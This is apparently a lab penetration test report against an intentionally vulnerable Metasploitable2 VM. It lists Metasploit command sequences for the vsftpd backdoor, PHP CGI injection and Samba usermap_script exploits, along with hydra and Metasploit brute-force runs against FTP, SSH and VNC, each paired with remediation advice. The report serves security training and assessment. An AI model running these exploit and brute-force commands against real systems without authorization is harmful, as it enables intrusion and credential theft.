

PENETRATION TEST REPORT

EXECUTIVE SUMMARY

Scope: Internal penetration test of a controlled lab network containing Metasploitable2.

Goal: Identify vulnerabilities, validate exploitability, and provide actionable remediation steps.

Result: Multiple high-risk vulnerabilities were successfully identified, including outdated services, weak authentication mechanisms, and remote-code-execution vectors.

Overall Impact: The vulnerabilities discovered allow an attacker to gain full system compromise with minimal effort. Successful exploitation enables unauthorized remote command execution, credential exposure, and lateral movement opportunities within the network.

High-Level Recommendations: - Update or decommission outdated and vulnerable services (vsftpd, Samba, PHP CGI). - Enforce strong password policies and implement account lockout mechanisms. - Restrict unnecessary open ports and implement network segmentation. - Enable logging and intrusion detection monitoring across all exposed services.

SCOPE OF WORK

In-Scope Assets

- **Metasploitable2 VM** (IP: 192.168.184.136)
- **Attacker Machine:** Kali Linux

Out-of-Scope

- Any systems outside the controlled lab environment
- Denial-of-service attacks
- Physical security attacks

Testing Type

- **Black-box assessment**
 - **Internal network security evaluation**
-

METHODOLOGY

1. Reconnaissance

Port Scanning: - Tools: Nmap (TCP SYN scan `-sS`, service/version detection `-sV`, OS fingerprinting `-O`)

Banner Grabbing: - Tools: Netcat for service banner collection

2. Vulnerability Analysis

- Metasploit Framework used to identify vulnerabilities associated with discovered service versions.
- Mapped banners and version numbers to available exploit modules using `search` within `msfconsole`.

3. Exploitation Summary

Below are the services tested and corresponding exploitation attempts.

EXPLOITATION DETAILS

FTP – Port 21

vsftpd 2.3.4 Backdoor Check (CVE-2011-2523)

Commands:

```
msfconsole
search vsftpd 2.3.4
use exploit/unix/ftp/vsftpd_234_backdoor
show info
set RHOSTS 192.168.184.136
run
```

FTP Brute Force

```
hydra -L wordlists/users.txt -P wordlists/pass.txt 192.168.184.136 ftp
```

Manual Login Check

```
ftp 192.168.184.136
ls
```

Impact: Potential for remote backdoor access, unauthorized login, and file system exposure.

Remediation: Update vsftpd to a supported version, disable anonymous FTP, enforce strong password policies.

SSH – Port 22

Weak Credential Testing (CVE-1999-0502)

```
msfconsole
search ssh_login
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.184.136
set user_file users.txt
set pass_file pass.txt
set stop_on_success true
run
session -u 1
```

Impact: Unauthorized system access leading to full compromise.

Remediation: Enforce key-based authentication, enable account lockout, and disable weak/default credentials.

Telnet – Port 23

Banner Grabbing

```
telnet 192.168.184.136
```

Impact: Telnet exposes plaintext credentials and system info.

Remediation: Disable Telnet entirely; use SSH.

HTTP – Port 80

PHP CGI Argument Injection (CVE-2012-1823)

```
msfconsole
search php_cgi
use exploit/multi/http/php_cgi_arg_injection
```

```
set RHOSTS 192.168.184.136
exploit
sysinfo
ls
```

Impact: Remote command execution on the server.

Remediation: Update PHP, disable CGI mode if not needed, apply proper input sanitization.

SMB – Ports 139 & 445

Samba usermap_script Exploit (CVE-2007-2447)

```
msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.184.136
set RPORT 139
exploit
whoami
```

Impact: Full remote command execution, enabling attacker control.

Remediation: Update Samba, disable SMBv1, restrict SMB access via firewall.

VNC – Port 5900

VNC Login Brute Force (CVE-1999-0506)

```
msfconsole
use auxiliary/scanner/vnc/vnc_login
set RHOSTS 192.168.184.136
set stop_on_success true
run
```

Viewer Access Test

```
vncviewer 192.168.184.136
```

Impact: Unauthorized remote desktop access.

Remediation: Set strong VNC passwords, use encrypted VNC variants, restrict port via firewall.

OVERALL IMPACT & RISK SUMMARY

The vulnerabilities found permit: - Full system compromise via multiple RCE paths - Unauthorized remote desktop and shell access - Credential brute-forcing with success - Exposure of sensitive system information due to insecure services

These issues represent **critical risks** in any real-world environment.

RECOMMENDATIONS

Immediate Actions

- Patch or replace all outdated and vulnerable services.
- Disable insecure services (FTP, Telnet, SMBv1).
- Implement strong authentication and password policies.

Long-Term Actions

- Apply continuous monitoring and logging.
 - Conduct periodic penetration tests.
 - Enforce network segmentation and least-privilege access.
 - Deploy endpoint hardening and host-based firewalls.
-

CONCLUSION

The assessment revealed several severe vulnerabilities that allowed full compromise of the Metasploitable2 system. Implementing the remediation steps outlined above will significantly reduce attack surface and improve overall security posture.